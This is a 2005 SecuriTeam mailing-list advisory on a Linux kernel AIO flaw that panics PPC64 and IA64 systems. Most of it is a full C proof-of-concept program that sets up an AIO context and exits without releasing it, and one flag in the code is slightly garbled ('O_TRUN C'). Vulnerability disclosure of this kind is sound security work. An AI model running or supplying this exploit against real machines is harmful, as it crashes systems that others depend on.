From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 5 Apr 2005 09:45:24 +0200
Subject: [UNIX] Linux Kernel "AIO" Local DoS (PPC64 and IA64 Architecture, Exploit)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050405105110.1369E573E@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Linux Kernel "AIO" Local DoS (PPC64 and IA64 Architecture, Exploit)
------------------------------------------------------------------------
SUMMARY
Linux Kernel AIO can be used to cause a kernel panic on PPC64 and IA64
architectures. The Linux kernel panic is caused by calling the
io_queue_init() function but failing to call the io_queue_release()
function, this is due to the fact that the exit_aio() code is cleaning up
and panicking when it tries to free the AIO ring buffer.
DETAILS
Exploit:
//
// Proof of Concept by Daniel McNeil
// compile using cc -o aiodio_read aiodio_read.c -laio
//
#define _XOPEN_SOURCE 600
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <libaio.h>
int pagesize;
char *iobuf;
io_context_t myctx;
int aio_maxio = 4;
/*
* do a AIO DIO write
*/
int do_aio_direct_read(int fd, char *iobuf, int offset, int size)
{
struct iocb myiocb;
struct iocb *iocbp = &myiocb;
int ret;
struct io_event e;
struct stat s;
io_prep_pread(&myiocb, fd, iobuf, size, offset);
if ((ret = io_submit(myctx, 1, &iocbp)) != 1) {
perror("io_submit");
return ret;
}
ret = io_getevents(myctx, 1, 1, &e, 0);
if (ret) {
struct iocb *iocb = e.obj;
int iosize = iocb->u.c.nbytes;
char *buf = iocb->u.c.buf;
long long loffset = iocb->u.c.offset;
printf("AIO read of %d at offset %lld returned %d\n",
iosize, loffset, e.res);
}
return ret;
}
int main(int argc, char *argv[])
{
char *filename;
int fd;
int err;
filename = "test.aio.file";
fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUN C, 0666);
pagesize = getpagesize();
err = posix_memalign((void**) &iobuf, pagesize, pagesize);
if (err) {
fprintf(stderr, "Error allocating %d aligned bytes.\n",
pagesize);
exit(1);
}
err = write(fd, iobuf, pagesize);
if (err != pagesize) {
fprintf(stderr, "Error ret = %d writing %d bytes.\n",
err, pagesize);
perror("");
exit(1);
}
memset(&myctx, 0, sizeof(myctx));
io_queue_init(aio_maxio, &myctx);
err = do_aio_direct_read(fd, iobuf, 0, pagesize);
close(fd);
printf("This will panic on ppc64\n");
return err;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:daniel@osdl.org.> Daniel
McNeil.
The original article can be found at:
<http://linux.bkbits.net:8080/linux-2.6/cset%404248c8c0es30_4YVdwa6vteKi7h_nw> http://linux.bkbits.net:8080/linux-2.6/cset%404248c8c0es30_4YVdwa6vteKi7h_nw
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
